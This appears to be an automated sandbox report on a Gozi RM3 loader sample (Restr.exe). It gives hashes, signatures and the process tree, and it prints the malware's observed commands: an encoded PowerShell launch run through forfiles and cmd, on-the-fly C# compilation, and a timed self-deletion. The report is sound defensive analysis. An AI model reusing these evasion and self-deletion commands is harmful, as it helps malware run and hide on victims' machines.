Resubmissions

15-03-2022 08:05

220315-jy3feaahdk 10

15-03-2022 07:24

220315-h8lpzaghf8 10

Analysis

  • max time kernel
    4294211s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7-20220311-en
  • submitted
    15-03-2022 07:24

General

  • Target

    Restr.exe

  • Size

    252KB

  • MD5

    16959900ff34c0ba60fe2a4d9f1242c5

  • SHA1

    888148f1b31355192e26ea4fc97c91f4c4defe9e

  • SHA256

    0f4395c5cdee1c9fe28ef9a63355594f0f7a23aa41e52b8085a0bda8715da13f

  • SHA512

    a2b7a74fdc6525c5b8ecafc66706136e1e3996e28ebb3b1d8e236b120e59f8c4e85165f385365d706a8391ae2a5f30530a086c7820e26d1a6cd2f19a44da5d54

Score
10/10

Malware Config

Extracted

Family

gozi_rm3

Attributes
  • build

    300994

  • exe_type

    loader

Signatures

  • Gozi RM3

    A heavily modified version of Gozi using RM3 loader.

  • Deletes itself 1 IoCs
  • Uses Tor communications 1 TTPs

    Malware can proxy its traffic through Tor for more anonymity.

  • Drops file in System32 directory 3 IoCs
  • Delays execution with timeout.exe 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 51 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 11 IoCs
  • Suspicious use of SetWindowsHookEx 44 IoCs
  • Suspicious use of WriteProcessMemory 40 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1276
      • C:\Users\Admin\AppData\Local\Temp\Restr.exe
        "C:\Users\Admin\AppData\Local\Temp\Restr.exe"
        2⤵
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of WriteProcessMemory
        PID:580
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c start /min forfiles /c "cmd /k @path -ec aQBlAHgAIAAoAGcAcAAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwAUwBlAGMAdQByAGkAdAB5AGMAYQBjAGgAZQAnACkALgBMAA== & exit" /p C:\Windows\system32 /s /m po*l.e*e
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:964
        • C:\Windows\system32\forfiles.exe
          forfiles /c "cmd /k @path -ec aQBlAHgAIAAoAGcAcAAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwAUwBlAGMAdQByAGkAdAB5AGMAYQBjAGgAZQAnACkALgBMAA== & exit" /p C:\Windows\system32 /s /m po*l.e*e
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:592
          • C:\Windows\system32\cmd.exe
            /k "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -ec aQBlAHgAIAAoAGcAcAAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwAUwBlAGMAdQByAGkAdAB5AGMAYQBjAGgAZQAnACkALgBMAA== & exit
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1096
            • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
              C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -ec aQBlAHgAIAAoAGcAcAAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwAUwBlAGMAdQByAGkAdAB5AGMAYQBjAGgAZQAnACkALgBMAA==
              5⤵
              • Drops file in System32 directory
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:1796
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -E JwBwAGEAcgBhAG0AKAAkAG8AdgB0AHMAbAB5ACkAOwBbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABvAHYAdABzAGwAeQApACcA
                6⤵
                • Drops file in System32 directory
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:560
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -E JwBwAGEAcgBhAG0AKAAkAHAAYgBmAG0AYwBnAHQAcwB1AGYAbQApADsAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAHAAYgBmAG0AYwBnAHQAcwB1AGYAbQApACcA
                6⤵
                • Drops file in System32 directory
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:1876
              • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
                "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pfhkfkff.cmdline"
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:1884
                • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
                  C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE7D1.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCE7D0.tmp"
                  7⤵
                    PID:1344
                • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
                  "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dlbyujxt.cmdline"
                  6⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1968
                  • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
                    C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE88C.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCE88B.tmp"
                    7⤵
                      PID:840
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /C timeout /t 5 && del "C:\USERS\ADMIN\APPDATA\LOCAL\TEMP\RESTR.EXE"
            2⤵
            • Deletes itself
            • Suspicious use of WriteProcessMemory
            PID:560
            • C:\Windows\system32\timeout.exe
              timeout /t 5
              3⤵
              • Delays execution with timeout.exe
              PID:2024
        • C:\Program Files\Internet Explorer\iexplore.exe
          "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
          1⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:1964
          • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
            "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1964 CREDAT:275457 /prefetch:2
            2⤵
            • Modifies Internet Explorer settings
            • Suspicious use of SetWindowsHookEx
            PID:1576
          • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
            "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1964 CREDAT:734213 /prefetch:2
            2⤵
            • Modifies Internet Explorer settings
            • Suspicious use of SetWindowsHookEx
            PID:640

        Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751

          MD5

          54e9306f95f32e50ccd58af19753d929

          SHA1

          eab9457321f34d4dcf7d4a0ac83edc9131bf7c57

          SHA256

          45f94dceb18a8f738a26da09ce4558995a4fe02b971882e8116fc9b59813bb72

          SHA512

          8711a4d866f21cdf4d4e6131ec4cfaf6821d0d22b90946be8b5a09ab868af0270a89bc326f03b858f0361a83c11a1531b894dfd1945e4812ba429a7558791f4f

        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751

          MD5

          164f34e118ffa81fd94da3934cb32de0

          SHA1

          3c20360423203bd85a55728566d0fdd01b7a90c3

          SHA256

          e92f2aec6ac7589bcb49359843bfe15d914a12e3650c5da8ab0e3b4ff9a2c25b

          SHA512

          560a5c9cd75ca10f25d98ff854cb5642788afbbccb510387314091dbf28df23106a6864a1ce2e30d5330e8ff067f61573b316324b552bce9f32dccd59f87fad3

        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

          MD5

          75bca1074ab33955b44e3030145e39d8

          SHA1

          a81fa702521d435493aaafc858c3e1ca1eea7736

          SHA256

          f531cc5ef009af1c212af7590fcb214c84329097ad004f5afb47597afb1eb63e

          SHA512

          ad45c3e8130a460eb6c5b8eece533bc87eaf334bcbaa6d42d96f6ed8cde4f95a40109b68f8c45f69a9076ab0f35d60b143a7f32ffe854f63a9ab9cd7e921f315

        • C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\imagestore\shpg9mq\imagestore.dat

          MD5

          cf1d9b7e6db5d38ad1494fef64ba15f8

          SHA1

          14f50426b33a2a34a62d5d823b010ce4c2448a26

          SHA256

          f58466e76a8e135ba4e7a6fcdb7b9182d260d0f8f3fde42205a8809a1881c4fc

          SHA512

          a5aa3dfb337f0e1a4d3b37d696ad9468e78e263a1e9be0641e563176e7304342d92e56ca7d749550772f454ea1bdd9e480359c822e63952bc1746c990f4c1482

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\GC0VJYYE\favicon[1].ico

          MD5

          a976d227e5d1dcf62f5f7e623211dd1b

          SHA1

          a2a9dc1abdd3d888484678663928cb024c359ee6

          SHA256

          66332859bd8e3441a019e073a318b62a47014ba244121301034b510dc7532271

          SHA512

          6754d545f2ce095cfa1fa7ca9e3223f89e37726ee7e541ebcf3e209e18b2602f3be8677598cb30d697327a63de032c11dbf8ef7ad7889a79c488a21044c1cb3f

        • C:\Users\Admin\AppData\Local\Temp\RESE7D1.tmp

          MD5

          72f135063c9da43eb64b6d54f413cc88

          SHA1

          70f0182e690f43eed1bd1c32f02631d40e322fec

          SHA256

          2edd93d1c32700d1b1f798e337feb5b2c56448950170cd951d1c8fa64776ed7b

          SHA512

          edf62a6421d9913951268ff1767af8bbab52fc140b48848515d5462dda9f42da79dcfd184027c19727ceccc74de78705def6d74cd2016ed74e803e6fd80d9526

        • C:\Users\Admin\AppData\Local\Temp\RESE88C.tmp

          MD5

          257c2dff6a6918a675ed92bd6b0adda6

          SHA1

          69c2155204bfd7f9ffec84d70bd8609f065f50b5

          SHA256

          fee86a16012c6c7b54989a13b668303cd4c5ae293417a32887ed4e23cf7c230a

          SHA512

          a4894ab52bdfd9d2c5909d8d7f9ffe4a1adba160d806c35fce0a7286dcd551baa11ce5f3a1079bec1a13a5a3ddece73e56fa2bbd280de4968f2368a1f99f6372

        • C:\Users\Admin\AppData\Local\Temp\dlbyujxt.dll

          MD5

          afd0641caf565e7fd099f09871f476fb

          SHA1

          cc95df20b7066fabd55027c9b498e7d0bc2f0a6a

          SHA256

          57e9a0a402ae1e190f46360ab7a3125f7a6bf07703d78da4ce77ec0a52be7c28

          SHA512

          8ffb0c3a16d54da2c968ef2af60b69ab7c4109150c94b6d15ebeb11ce53796642ebcd9d248f6ee7f218d73d861faa83c8d938a5a9c7d082af0ba119a40dcac36

        • C:\Users\Admin\AppData\Local\Temp\dlbyujxt.pdb

          MD5

          9f578093ff57b6ebbbdf7c6f258c3955

          SHA1

          9dda4e2094f20557f24d77dc674e20dd2c05ca5b

          SHA256

          4e90ad9020eccab7757aa00d003ed543d4511661c92d4b24ff8475a18d346d90

          SHA512

          bb93838e246c373f0b8013fe8c1773d8cfb0b931f14729289102242ba0d22ffc0c4274086e1322bc5f54d1099e97e093f84bf1b803134edb75b085d9525059fa

        • C:\Users\Admin\AppData\Local\Temp\pfhkfkff.dll

          MD5

          403a630dda434e3236ea9e0d3fbb4207

          SHA1

          f871f6347f25c021cac34a14324785588b37fa05

          SHA256

          64b009ca8d0223ac9178d4821682e6575aef461e52bfa4ff4bddf5e16e559a37

          SHA512

          e3f394a1429d9b80b95fc34845fdc6691aa3c615016843c6f8ce47b4b8829df57844be30b7429ce3eabe239b0b219c01e8fdc7c13ad71edbe2d29811a33a9ea7

        • C:\Users\Admin\AppData\Local\Temp\pfhkfkff.pdb

          MD5

          6b5c1d59c6c2feec9a915ee3ab36b7f7

          SHA1

          2da1f4310a1ffd0d049973ccd3aed5b569f7d99b

          SHA256

          ff0cdba3de7823b8685f868bdb8b65fed5fe68b4b5df765c8ec551b90634ed77

          SHA512

          2a62d7bc9339dfafdf03e4bf16365bced4e7ac1a9e34516a8c401a103bdaeb673a101eac398d64c49a79e61f8d0acd2c8fbd532cfbf947f32601ea814955bfb2

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

          MD5

          7a2fb51813dfa70bb9fb08e62fb386bf

          SHA1

          ed451953d56863d5bfe99c82a66491dff351c071

          SHA256

          795509e12528cdeec84bd934eb24638fe49ad13a7578d4798ce05b7b80774e15

          SHA512

          867f604daee4652c9f50c5148bb22acd52b94b7acfda2ba629b4de8aadd1d7a6ceebb19b6380bbc5c0682865393b0a95838ed5ca620ec097c2c69411cb87782d

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

          MD5

          7a2fb51813dfa70bb9fb08e62fb386bf

          SHA1

          ed451953d56863d5bfe99c82a66491dff351c071

          SHA256

          795509e12528cdeec84bd934eb24638fe49ad13a7578d4798ce05b7b80774e15

          SHA512

          867f604daee4652c9f50c5148bb22acd52b94b7acfda2ba629b4de8aadd1d7a6ceebb19b6380bbc5c0682865393b0a95838ed5ca620ec097c2c69411cb87782d

        • \??\c:\Users\Admin\AppData\Local\Temp\CSCE7D0.tmp

          MD5

          e41d3554c62da6b2e255453c45e4d62c

          SHA1

          3361c9b742d2c444141e070fabd889719eb8f9cb

          SHA256

          a222b452f29a2a0e02fcfe65f9174aec0537c2786ba2f1662c56eb20e1f15c99

          SHA512

          598d7a3a37df49f4537de27aa16cf7d7aad8d0902162d22876d455a4e1581e96b726c91df036e93410eaac6c94c91b544798d0294342656ea2680be87c184f5d

        • \??\c:\Users\Admin\AppData\Local\Temp\CSCE88B.tmp

          MD5

          6b1dac15864f45bc67989a3a72e1e839

          SHA1

          027ab65a5d0c466071d3556889d3af8258ec4477

          SHA256

          3f2a2252aac57c1c3c156d9353446b5e3a4f029c8da0303fbe74c207ef317d82

          SHA512

          df376b2b4e39669936680dd965d7f69616437a2a3db215e9cff7f907b4a206b76bdaf5320fd13b51fba50179e80614000f2ac031c280b8fb6492bd5079416a46

        • \??\c:\Users\Admin\AppData\Local\Temp\dlbyujxt.0.cs

          MD5

          697f16b8c6892082559d8a17db343865

          SHA1

          246d6ba1419478be7915e78b61525da894321fb9

          SHA256

          518ab091348dea4f49183958185b3d42b5ddb191007bab25b6e69ff6ec923f1f

          SHA512

          801a428c5dd5ff4a745923914505dcf5a9929b3dbfc5bb5f6320996ad849fa42dc75ac53a432dd01103e0d6db2269583351f14b189a76a066d6f940ff79d38d6

        • \??\c:\Users\Admin\AppData\Local\Temp\dlbyujxt.cmdline

          MD5

          8368148e7e5638c91bc16cca4cbbe9eb

          SHA1

          911cc3a7d03092c707fefe07121ecf8bded76d2f

          SHA256

          11fb20506e30c139e1747df4eaed260f8d5c60532ef94fe05a41f6b542ed0f72

          SHA512

          0c3ff5dd1a174539606320608199252a63b812bf4f2e7c61856eeb68ea640313c9214dc4c062fa7de2003b628ac4b3b8ec9282d85591d3efc9fd8f77876d8a58

        • \??\c:\Users\Admin\AppData\Local\Temp\pfhkfkff.0.cs

          MD5

          7fceb996f934e8bda687cdd2bd46a9a7

          SHA1

          81e1edbcca6438daaccc3845fa0e3b1a6cff17a6

          SHA256

          fa53f8174510a9ad008973d47798f022b681e1764a15134efd2004980f23bb6e

          SHA512

          6aa6253527b72c0605859180887ff19cd96412cb816ec02e832d4a0e0cbcd03d9cc580112e4e2055d4a9ede850c1a339df974371f992b0b9b73e54e137610205

        • \??\c:\Users\Admin\AppData\Local\Temp\pfhkfkff.cmdline

          MD5

          b4f79294fb175869204337183317c7b6

          SHA1

          9043d28be6bd880fea48d6ee0c28642ea7b2b769

          SHA256

          30d452c48543be7ccaa18439e019af641ef0b8912dd5e5b87ad9e41569884f18

          SHA512

          349493b8be6c0d514ffc10df4ccbc203ddf122bfe74e5feab1ec0d09f401b9b34a032659b1a9d74b11df9f3a395019c220d834bc731c4560650dc0c2b55e26da

        • memory/560-87-0x0000000002314000-0x0000000002317000-memory.dmp

          Filesize

          12KB

        • memory/560-88-0x000000000231B000-0x000000000233A000-memory.dmp

          Filesize

          124KB

        • memory/560-82-0x0000000002310000-0x0000000002312000-memory.dmp

          Filesize

          8KB

        • memory/560-79-0x000007FEF2DA0000-0x000007FEF38FD000-memory.dmp

          Filesize

          11.4MB

        • memory/560-83-0x000007FEF5210000-0x000007FEF5BAD000-memory.dmp

          Filesize

          9.6MB

        • memory/560-81-0x000007FEF5210000-0x000007FEF5BAD000-memory.dmp

          Filesize

          9.6MB

        • memory/560-86-0x0000000002312000-0x0000000002314000-memory.dmp

          Filesize

          8KB

        • memory/580-65-0x0000000000260000-0x0000000000262000-memory.dmp

          Filesize

          8KB

        • memory/580-64-0x0000000001000000-0x000000000106F000-memory.dmp

          Filesize

          444KB

        • memory/580-54-0x00000000004EE000-0x00000000004F9000-memory.dmp

          Filesize

          44KB

        • memory/580-112-0x0000000000260000-0x000000000027A000-memory.dmp

          Filesize

          104KB

        • memory/580-55-0x0000000075561000-0x0000000075563000-memory.dmp

          Filesize

          8KB

        • memory/580-56-0x0000000000230000-0x0000000000240000-memory.dmp

          Filesize

          64KB

        • memory/580-62-0x00000000004EE000-0x00000000004F9000-memory.dmp

          Filesize

          44KB

        • memory/580-63-0x0000000000220000-0x000000000022C000-memory.dmp

          Filesize

          48KB

        • memory/1276-222-0x0000000002A50000-0x0000000002A65000-memory.dmp

          Filesize

          84KB

        • memory/1276-223-0x0000000002A20000-0x0000000002A35000-memory.dmp

          Filesize

          84KB

        • memory/1796-76-0x000000000264B000-0x000000000266A000-memory.dmp

          Filesize

          124KB

        • memory/1796-111-0x00000000028D0000-0x00000000028E3000-memory.dmp

          Filesize

          76KB

        • memory/1796-78-0x0000000002640000-0x0000000002642000-memory.dmp

          Filesize

          8KB

        • memory/1796-85-0x0000000002644000-0x0000000002647000-memory.dmp

          Filesize

          12KB

        • memory/1796-75-0x000007FEF5210000-0x000007FEF5BAD000-memory.dmp

          Filesize

          9.6MB

        • memory/1796-73-0x000000001B7A0000-0x000000001BA9F000-memory.dmp

          Filesize

          3.0MB

        • memory/1796-72-0x000007FEF2DA0000-0x000007FEF38FD000-memory.dmp

          Filesize

          11.4MB

        • memory/1796-71-0x000007FEFB901000-0x000007FEFB903000-memory.dmp

          Filesize

          8KB

        • memory/1796-84-0x0000000002642000-0x0000000002644000-memory.dmp

          Filesize

          8KB

        • memory/1796-80-0x000007FEF5210000-0x000007FEF5BAD000-memory.dmp

          Filesize

          9.6MB

        • memory/1876-97-0x000000001B760000-0x000000001BA5F000-memory.dmp

          Filesize

          3.0MB

        • memory/1876-95-0x00000000025A2000-0x00000000025A4000-memory.dmp

          Filesize

          8KB

        • memory/1876-94-0x000007FEF5210000-0x000007FEF5BAD000-memory.dmp

          Filesize

          9.6MB

        • memory/1876-93-0x00000000025A0000-0x00000000025A2000-memory.dmp

          Filesize

          8KB

        • memory/1876-96-0x00000000025A4000-0x00000000025A7000-memory.dmp

          Filesize

          12KB

        • memory/1876-92-0x000007FEF5210000-0x000007FEF5BAD000-memory.dmp

          Filesize

          9.6MB

        • memory/1876-91-0x000007FEF2DA0000-0x000007FEF38FD000-memory.dmp

          Filesize

          11.4MB

        • memory/1876-98-0x00000000025AB000-0x00000000025CA000-memory.dmp

          Filesize

          124KB